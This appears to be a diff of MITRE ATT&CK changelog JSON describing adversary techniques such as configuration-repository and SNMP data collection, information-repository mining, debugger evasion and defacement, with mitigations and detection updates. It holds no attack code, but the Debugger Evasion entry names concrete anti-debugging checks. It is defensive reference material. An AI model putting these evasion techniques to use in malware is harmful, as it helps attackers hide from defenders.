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+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-10-19 23:46:13.931000+00:00",
+ "modified": "2025-10-24 17:48:22.396000+00:00",
+ "name": "Data from Configuration Repository",
+ "description": "Adversaries may collect data related to managed devices from configuration repositories. Configuration repositories are used by management systems in order to configure, manage, and control data on remote systems. Configuration repositories may also facilitate remote access and administration of devices.\n\nAdversaries may target these repositories in order to collect large quantities of sensitive system administration data. Data from configuration repositories may be exposed by various protocols and software and can store a wide variety of data, much of which may align with adversary Discovery objectives.(Citation: US-CERT-TA18-106A)(Citation: US-CERT TA17-156A SNMP Abuse 2017)",
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1602",
+ "external_id": "T1602"
+ },
+ {
+ "source_name": "Cisco Advisory SNMP v3 Authentication Vulnerabilities",
+ "description": "Cisco. (2008, June 10). Identifying and Mitigating Exploitation of the SNMP Version 3 Authentication Vulnerabilities. Retrieved October 19, 2020.",
+ "url": "https://tools.cisco.com/security/center/content/CiscoAppliedMitigationBulletin/cisco-amb-20080610-SNMPv3"
+ },
+ {
+ "source_name": "US-CERT TA17-156A SNMP Abuse 2017",
+ "description": "US-CERT. (2017, June 5). Reducing the Risk of SNMP Abuse. Retrieved October 19, 2020.",
+ "url": "https://us-cert.cisa.gov/ncas/alerts/TA17-156A"
+ },
+ {
+ "source_name": "US-CERT-TA18-106A",
+ "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
+ "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
+ }
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+ "M1031: Network Intrusion Prevention",
+ "M1037: Filter Network Traffic",
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+ "M1054: Software Configuration"
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+ "new": [
+ "DET0592: Detection Strategy for Data from Configuration Repository on Network Devices"
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+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-10-20 00:08:21.745000+00:00",
+ "modified": "2025-10-24 17:48:47.219000+00:00",
+ "name": "Network Device Configuration Dump",
+ "description": "Adversaries may access network configuration files to collect sensitive data about the device and the network. The network configuration is a file containing parameters that determine the operation of the device. The device typically stores an in-memory copy of the configuration while operating, and a separate configuration on non-volatile storage to load after device reset. Adversaries can inspect the configuration files to reveal information about the target network and its layout, the network device and its software, or identifying legitimate accounts and credentials for later use.\n\nAdversaries can use common management tools and protocols, such as Simple Network Management Protocol (SNMP) and Smart Install (SMI), to access network configuration files.(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks) These tools may be used to query specific data from a configuration repository or configure the device to export the configuration for later analysis. ",
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+ "external_id": "T1602.002"
+ },
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+ "source_name": "US-CERT TA18-106A Network Infrastructure Devices 2018",
+ "description": "US-CERT. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
+ "url": "https://us-cert.cisa.gov/ncas/alerts/TA18-106A"
+ },
+ {
+ "source_name": "Cisco Blog Legacy Device Attacks",
+ "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.",
+ "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"
+ },
+ {
+ "source_name": "US-CERT TA18-068A 2018",
+ "description": "US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.",
+ "url": "https://www.us-cert.gov/ncas/alerts/TA18-086A"
+ }
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+ "M1030: Network Segmentation",
+ "M1031: Network Intrusion Prevention",
+ "M1037: Filter Network Traffic",
+ "M1041: Encrypt Sensitive Information",
+ "M1051: Update Software",
+ "M1054: Software Configuration"
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+ "shared": [],
+ "new": [
+ "DET0233: Detection Strategy for Network Device Configuration Dump via Config Repositories"
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+ "modified": "2025-10-24 17:49:34.969000+00:00",
+ "name": "SNMP (MIB Dump)",
+ "description": "Adversaries may target the Management Information Base (MIB) to collect and/or mine valuable information in a network managed using Simple Network Management Protocol (SNMP).\n\nThe MIB is a configuration repository that stores variable information accessible via SNMP in the form of object identifiers (OID). Each OID identifies a variable that can be read or set and permits active management tasks, such as configuration changes, through remote modification of these variables. SNMP can give administrators great insight in their systems, such as, system information, description of hardware, physical location, and software packages(Citation: SANS Information Security Reading Room Securing SNMP Securing SNMP). The MIB may also contain device operational information, including running configuration, routing table, and interface details.\n\nAdversaries may use SNMP queries to collect MIB content directly from SNMP-managed devices in order to collect network information that allows the adversary to build network maps and facilitate future targeted exploitation.(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks) ",
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+ "external_id": "T1602.001"
+ },
+ {
+ "source_name": "SANS Information Security Reading Room Securing SNMP Securing SNMP",
+ "description": "Michael Stump. (2003). Information Security Reading Room Securing SNMP: A Look atNet-SNMP (SNMPv3). Retrieved October 19, 2020.",
+ "url": "https://www.sans.org/reading-room/whitepapers/networkdevs/securing-snmp-net-snmp-snmpv3-1051"
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+ "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
+ },
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+ "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.",
+ "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"
+ },
+ {
+ "source_name": "Cisco Advisory SNMP v3 Authentication Vulnerabilities",
+ "description": "Cisco. (2008, June 10). Identifying and Mitigating Exploitation of the SNMP Version 3 Authentication Vulnerabilities. Retrieved October 19, 2020.",
+ "url": "https://tools.cisco.com/security/center/content/CiscoAppliedMitigationBulletin/cisco-amb-20080610-SNMPv3"
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+ "changelog_mitigations": {
+ "shared": [
+ "M1030: Network Segmentation",
+ "M1031: Network Intrusion Prevention",
+ "M1037: Filter Network Traffic",
+ "M1041: Encrypt Sensitive Information",
+ "M1051: Update Software",
+ "M1054: Software Configuration"
+ ],
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+ "DS0029: Network Traffic (Network Connection Creation)",
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+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0453: Detection Strategy for SNMP (MIB Dump) on Network Devices"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2018-04-18 17:59:24.739000+00:00",
+ "modified": "2025-10-24 17:49:26.262000+00:00",
+ "name": "Data from Information Repositories",
+ "description": "Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, such as Credential Access, Lateral Movement, or Defense Evasion, or direct access to the target information. Adversaries may also abuse external sharing features to share sensitive documents with recipients outside of the organization (i.e., [Transfer Data to Cloud Account](https://attack.mitre.org/techniques/T1537)). \n\nThe following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials (i.e., [Unsecured Credentials](https://attack.mitre.org/techniques/T1552)) \n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n* Contact or other sensitive information about business partners and customers, including personally identifiable information (PII) \n\nInformation stored in a repository may vary based on the specific instance or environment. Specific common information repositories include the following:\n\n* Storage services such as IaaS databases, enterprise databases, and more specialized platforms such as customer relationship management (CRM) databases \n* Collaboration platforms such as SharePoint, Confluence, and code repositories\n* Messaging platforms such as Slack and Microsoft Teams \n\nIn some cases, information repositories have been improperly secured, typically by unintentionally allowing for overly-broad access by all users or even public access to unauthenticated users. This is particularly common with cloud-native or cloud-hosted services, such as AWS Relational Database Service (RDS), Redis, or ElasticSearch.(Citation: Mitiga)(Citation: TrendMicro Exposed Redis 2020)(Citation: Cybernews Reuters Leak 2022)",
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+ "revoked": false,
+ "external_references": [
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1213",
+ "external_id": "T1213"
+ },
+ {
+ "source_name": "Mitiga",
+ "description": "Ariel Szarf, Doron Karmi, and Lionel Saposnik. (n.d.). Oops, I Leaked It Again \u2014 How Mitiga Found PII in Exposed Amazon RDS Snapshots. Retrieved September 24, 2024.",
+ "url": "https://www.mitiga.io/blog/how-mitiga-found-pii-in-exposed-amazon-rds-snapshots"
+ },
+ {
+ "source_name": "Atlassian Confluence Logging",
+ "description": "Atlassian. (2018, January 9). How to Enable User Access Logging. Retrieved April 4, 2018.",
+ "url": "https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html"
+ },
+ {
+ "source_name": "TrendMicro Exposed Redis 2020",
+ "description": "David Fiser and Jaromir Horejsi. (2020, April 21). Exposed Redis Instances Abused for Remote Code Execution, Cryptocurrency Mining. Retrieved September 25, 2024.",
+ "url": "https://www.trendmicro.com/en_us/research/20/d/exposed-redis-instances-abused-for-remote-code-execution-cryptocurrency-mining.html"
+ },
+ {
+ "source_name": "Microsoft SharePoint Logging",
+ "description": "Microsoft. (2017, July 19). Configure audit settings for a site collection. Retrieved April 4, 2018.",
+ "url": "https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2"
+ },
+ {
+ "source_name": "Sharepoint Sharing Events",
+ "description": "Microsoft. (n.d.). Sharepoint Sharing Events. Retrieved October 8, 2021.",
+ "url": "https://docs.microsoft.com/en-us/microsoft-365/compliance/use-sharing-auditing?view=o365-worldwide#sharepoint-sharing-events"
+ },
+ {
+ "source_name": "Cybernews Reuters Leak 2022",
+ "description": "Vilius Petkauskas . (2022, November 3). Thomson Reuters collected and leaked at least 3TB of sensitive data. Retrieved September 25, 2024.",
+ "url": "https://cybernews.com/security/thomson-reuters-leaked-terabytes-sensitive-data/"
+ }
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+ "description": "Andy Greenberg. (2017, January 21). Hack Brief: Uber Paid Off Hackers to Hide a 57-Million User Data Breach. Retrieved May 14, 2021.",
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+ "source_name": "Microsoft SharePoint Logging",
+ "description": "Microsoft. (2017, July 19). Configure audit settings for a site collection. Retrieved April 4, 2018.",
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+ "description": "Adversaries may search network shares on computers they have compromised to find files of interest. Sensitive data can be collected from remote systems via shared network drives (host shared directory, network file server, etc.) that are accessible from the current system prior to Exfiltration. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information.",
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+ "changelog_mitigations": {
+ "shared": [
+ "M1057: Data Loss Prevention"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Access)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0511: Detection of Data Access and Collection from Removable Media"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--e4dc8c01-417f-458d-9ee0-bb0617c1b391",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2022-04-01 17:59:46.156000+00:00",
+ "modified": "2025-10-24 17:49:32.196000+00:00",
+ "name": "Debugger Evasion",
+ "description": "Adversaries may employ various means to detect and avoid debuggers. Debuggers are typically used by defenders to trace and/or analyze the execution of potential malware payloads.(Citation: ProcessHacker Github)\n\nDebugger evasion may include changing behaviors based on the results of the checks for the presence of artifacts indicative of a debugged environment. Similar to [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497), if the adversary detects a debugger, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for debugger artifacts before dropping secondary or additional payloads.\n\nSpecific checks will vary based on the target and/or adversary. On Windows, this may involve [Native API](https://attack.mitre.org/techniques/T1106) function calls such as IsDebuggerPresent() and NtQueryInformationProcess(), or manually checking the BeingDebugged flag of the Process Environment Block (PEB). On Linux, this may involve querying `/proc/self/status` for the `TracerPID` field, which indicates whether or not the process is being traced by dynamic analysis tools.(Citation: Cado Security P2PInfect 2023)(Citation: Positive Technologies Hellhounds 2023) Other checks for debugging artifacts may also seek to enumerate hardware breakpoints, interrupt assembly opcodes, time checks, or measurements if exceptions are raised in the current process (assuming a present debugger would \u201cswallow\u201d or handle the potential error).(Citation: hasherezade debug)(Citation: AlKhaser Debug)(Citation: vxunderground debug)\n\nMalware may also leverage Structured Exception Handling (SEH) to detect debuggers by throwing an exception and detecting whether the process is suspended. SEH handles both hardware and software expectations, providing control over the exceptions including support for debugging. If a debugger is present, the program\u2019s control will be transferred to the debugger, and the execution of the code will be suspended. If the debugger is not present, control will be transferred to the SEH handler, which will automatically handle the exception and allow the program\u2019s execution to continue.(Citation: Apriorit)\n\nAdversaries may use the information learned from these debugger checks during automated discovery to shape follow-on behaviors. Debuggers can also be evaded by detaching the process or flooding debug logs with meaningless data via messages produced by looping [Native API](https://attack.mitre.org/techniques/T1106) function calls such as OutputDebugStringW().(Citation: wardle evilquest partii)(Citation: Checkpoint Dridex Jan 2021)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "discovery"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1622",
+ "external_id": "T1622"
+ },
+ {
+ "source_name": "Apriorit",
+ "description": "Apriorit. (2024, June 4). Anti Debugging Protection Techniques with Examples. Retrieved March 4, 2025.",
+ "url": "https://www.apriorit.com/dev-blog/367-anti-reverse-engineering-protection-techniques-to-use-before-releasing-software"
+ },
+ {
+ "source_name": "Checkpoint Dridex Jan 2021",
+ "description": "Check Point Research. (2021, January 4). Stopping Serial Killer: Catching the Next Strike. Retrieved September 7, 2021.",
+ "url": "https://research.checkpoint.com/2021/stopping-serial-killer-catching-the-next-strike/"
+ },
+ {
+ "source_name": "hasherezade debug",
+ "description": "hasherezade. (2021, June 30). Module 3 - Understanding and countering malware's evasion and self-defence. Retrieved April 1, 2022.",
+ "url": "https://github.com/hasherezade/malware_training_vol1/blob/main/slides/module3/Module3_2_fingerprinting.pdf"
+ },
+ {
+ "source_name": "Cado Security P2PInfect 2023",
+ "description": "jbowen. (2023, December 4). P2Pinfect - New Variant Targets MIPS Devices. Retrieved March 18, 2025.",
+ "url": "https://www.cadosecurity.com/blog/p2pinfect-new-variant-targets-mips-devices"
+ },
+ {
+ "source_name": "AlKhaser Debug",
+ "description": "Noteworthy. (2019, January 6). Al-Khaser. Retrieved April 1, 2022.",
+ "url": "https://github.com/LordNoteworthy/al-khaser/tree/master/al-khaser/AntiDebug"
+ },
+ {
+ "source_name": "wardle evilquest partii",
+ "description": "Patrick Wardle. (2020, July 3). OSX.EvilQuest Uncovered part ii: insidious capabilities. Retrieved March 21, 2021.",
+ "url": "https://objective-see.com/blog/blog_0x60.html"
+ },
+ {
+ "source_name": "ProcessHacker Github",
+ "description": "ProcessHacker. (2009, October 27). Process Hacker. Retrieved April 11, 2022.",
+ "url": "https://github.com/processhacker/processhacker"
+ },
+ {
+ "source_name": "Positive Technologies Hellhounds 2023",
+ "description": "PT Expert Security Center. (2023, November 29). Hellhounds: operation Lahat. Retrieved March 18, 2025.",
+ "url": "https://global.ptsecurity.com/analytics/pt-esc-threat-intelligence/hellhounds-operation-lahat"
+ },
+ {
+ "source_name": "vxunderground debug",
+ "description": "vxunderground. (2021, June 30). VX-API. Retrieved April 1, 2022.",
+ "url": "https://github.com/vxunderground/VX-API/tree/main/Anti%20Debug"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "TruKno",
+ "Joas Antonio dos Santos, @C0d3Cr4zy"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": false,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Linux",
+ "macOS",
+ "Windows"
+ ],
+ "x_mitre_version": "1.1",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Process: OS API Execution\", \"Application Log: Application Log Content\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:32.196000+00:00\", \"old_value\": \"2025-04-15 19:59:16.468000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Debugger related system checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to debugger identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious [Native API](https://attack.mitre.org/techniques/T1106) function calls as well as processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.\\n\\nMonitor debugger logs for signs of abnormal and potentially malicious activity.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Debugger related system checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to debugger identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious [Native API](https://attack.mitre.org/techniques/T1106) function calls as well as processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.\\n-\\n-Monitor debugger logs for signs of abnormal and potentially malicious activity.\"}}}",
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+ "changelog_mitigations": {
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+ "new": [],
+ "dropped": []
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+ "changelog_datacomponent_detections": {
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+ "new": [],
+ "dropped": [
+ "DS0009: Process (OS API Execution)",
+ "DS0009: Process (Process Creation)",
+ "DS0015: Application Log (Application Log Content)",
+ "DS0017: Command (Command Execution)"
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+ "shared": [],
+ "new": [
+ "DET0371: Detection Strategy for Debugger Evasion (T1622)"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--5909f20f-3c39-4795-be06-ef1ea40d350b",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2019-04-08 17:51:41.390000+00:00",
+ "modified": "2025-10-24 17:48:49.761000+00:00",
+ "name": "Defacement",
+ "description": "Adversaries may modify visual content available internally or externally to an enterprise network, thus affecting the integrity of the original content. Reasons for [Defacement](https://attack.mitre.org/techniques/T1491) include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion. Disturbing or offensive images may be used as a part of [Defacement](https://attack.mitre.org/techniques/T1491) in order to cause user discomfort, or to pressure compliance with accompanying messages. \n",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "impact"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1491",
+ "external_id": "T1491"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_impact_type": [
+ "Integrity"
+ ],
+ "x_mitre_is_subtechnique": false,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows",
+ "IaaS",
+ "Linux",
+ "macOS",
+ "ESXi"
+ ],
+ "x_mitre_version": "1.4",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\", \"File: File Creation\", \"Application Log: Application Log Content\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:49.761000+00:00\", \"old_value\": \"2025-04-25 15:15:35.374000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor internal and external websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.\\n\\n\", \"diff\": \"--- \\n+++ \\n@@ -1,2 +0,0 @@\\n-Monitor internal and external websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.\\n-\"}}}",
+ "previous_version": "1.4",
+ "changelog_mitigations": {
+ "shared": [
+ "M1053: Data Backup"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0015: Application Log (Application Log Content)",
+ "DS0022: File (File Creation)",
+ "DS0022: File (File Modification)",
+ "DS0029: Network Traffic (Network Traffic Content)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0238: Defacement via File and Web Content Modification Across Platforms"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--0cfe31a7-81fc-472c-bc45-e2808d1066a3",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-02-20 14:34:08.496000+00:00",
+ "modified": "2025-10-24 17:48:23.460000+00:00",
+ "name": "External Defacement",
+ "description": "An adversary may deface systems external to an organization in an attempt to deliver messaging, intimidate, or otherwise mislead an organization or users. [External Defacement](https://attack.mitre.org/techniques/T1491/002) may ultimately cause users to distrust the systems and to question/discredit the system\u2019s integrity. Externally-facing websites are a common victim of defacement; often targeted by adversary and hacktivist groups in order to push a political message or spread propaganda.(Citation: FireEye Cyber Threats to Media Industries)(Citation: Kevin Mandia Statement to US Senate Committee on Intelligence)(Citation: Anonymous Hackers Deface Russian Govt Site) [External Defacement](https://attack.mitre.org/techniques/T1491/002) may be used as a catalyst to trigger events, or as a response to actions taken by an organization or government. Similarly, website defacement may also be used as setup, or a precursor, for future attacks such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).(Citation: Trend Micro Deep Dive Into Defacement)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "impact"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1491/002",
+ "external_id": "T1491.002"
+ },
+ {
+ "source_name": "Anonymous Hackers Deface Russian Govt Site",
+ "description": "Andy. (2018, May 12). \u2018Anonymous\u2019 Hackers Deface Russian Govt. Site to Protest Web-Blocking (NSFW). Retrieved April 19, 2019.",
+ "url": "https://torrentfreak.com/anonymous-hackers-deface-russian-govt-site-to-protest-web-blocking-nsfw-180512/"
+ },
+ {
+ "source_name": "FireEye Cyber Threats to Media Industries",
+ "description": "FireEye. (n.d.). Retrieved November 17, 2024.",
+ "url": "https://web.archive.org/web/20210719110553/https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/ib-entertainment.pdf"
+ },
+ {
+ "source_name": "Kevin Mandia Statement to US Senate Committee on Intelligence",
+ "description": "Kevin Mandia. (2017, March 30). Prepared Statement of Kevin Mandia, CEO of FireEye, Inc. before the United States Senate Select Committee on Intelligence. Retrieved April 19, 2019.",
+ "url": "https://www.intelligence.senate.gov/sites/default/files/documents/os-kmandia-033017.pdf"
+ },
+ {
+ "source_name": "Trend Micro Deep Dive Into Defacement",
+ "description": "Marco Balduzzi, Ryan Flores, Lion Gu, Federico Maggi, Vincenzo Ciancaglini, Roel Reyes, Akira Urano. (n.d.). A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks. Retrieved April 19, 2019.",
+ "url": "https://documents.trendmicro.com/assets/white_papers/wp-a-deep-dive-into-defacement.pdf"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_impact_type": [
+ "Integrity"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows",
+ "IaaS",
+ "Linux",
+ "macOS"
+ ],
+ "x_mitre_version": "1.2",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Application Log: Application Log Content\", \"File: File Modification\", \"File: File Creation\", \"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:23.460000+00:00\", \"old_value\": \"2025-04-15 22:34:21.584000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor external websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.\"}}}",
+ "previous_version": "1.2",
+ "changelog_mitigations": {
+ "shared": [
+ "M1053: Data Backup"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0015: Application Log (Application Log Content)",
+ "DS0022: File (File Creation)",
+ "DS0022: File (File Modification)",
+ "DS0029: Network Traffic (Network Traffic Content)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0590: Behavioral Detection of External Website Defacement across Platforms"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--8c41090b-aa47-4331-986b-8c9a51a91103",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-02-20 14:31:34.778000+00:00",
+ "modified": "2025-10-24 17:49:05.030000+00:00",
+ "name": "Internal Defacement",
+ "description": "An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users, thus discrediting the integrity of the systems. This may take the form of modifications to internal websites or server login messages, or directly to user systems with the replacement of the desktop wallpaper.(Citation: Novetta Blockbuster)(Citation: Varonis) Disturbing or offensive images may be used as a part of [Internal Defacement](https://attack.mitre.org/techniques/T1491/001) in order to cause user discomfort, or to pressure compliance with accompanying messages. Since internally defacing systems exposes an adversary's presence, it often takes place after other intrusion goals have been accomplished.(Citation: Novetta Blockbuster Destructive Malware)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "impact"
+ }
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+ "revoked": false,
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1491/001",
+ "external_id": "T1491.001"
+ },
+ {
+ "source_name": "Varonis",
+ "description": "Jason Hill. (2023, February 8). VMware ESXi in the Line of Ransomware Fire. Retrieved March 26, 2025.",
+ "url": "https://www.varonis.com/blog/vmware-esxi-in-the-line-of-ransomware-fire"
+ },
+ {
+ "source_name": "Novetta Blockbuster Destructive Malware",
+ "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved November 17, 2024.",
+ "url": "https://web.archive.org/web/20160303200515/https:/operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf"
+ },
+ {
+ "source_name": "Novetta Blockbuster",
+ "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
+ "url": "https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_impact_type": [
+ "Integrity"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "ESXi",
+ "Linux",
+ "macOS",
+ "Windows"
+ ],
+ "x_mitre_version": "1.2",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Creation\", \"Network Traffic: Network Traffic Content\", \"Application Log: Application Log Content\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:05.030000+00:00\", \"old_value\": \"2025-04-15 19:58:49.776000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor internal and websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.\"}}}",
+ "previous_version": "1.2",
+ "changelog_mitigations": {
+ "shared": [
+ "M1053: Data Backup"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0015: Application Log (Application Log Content)",
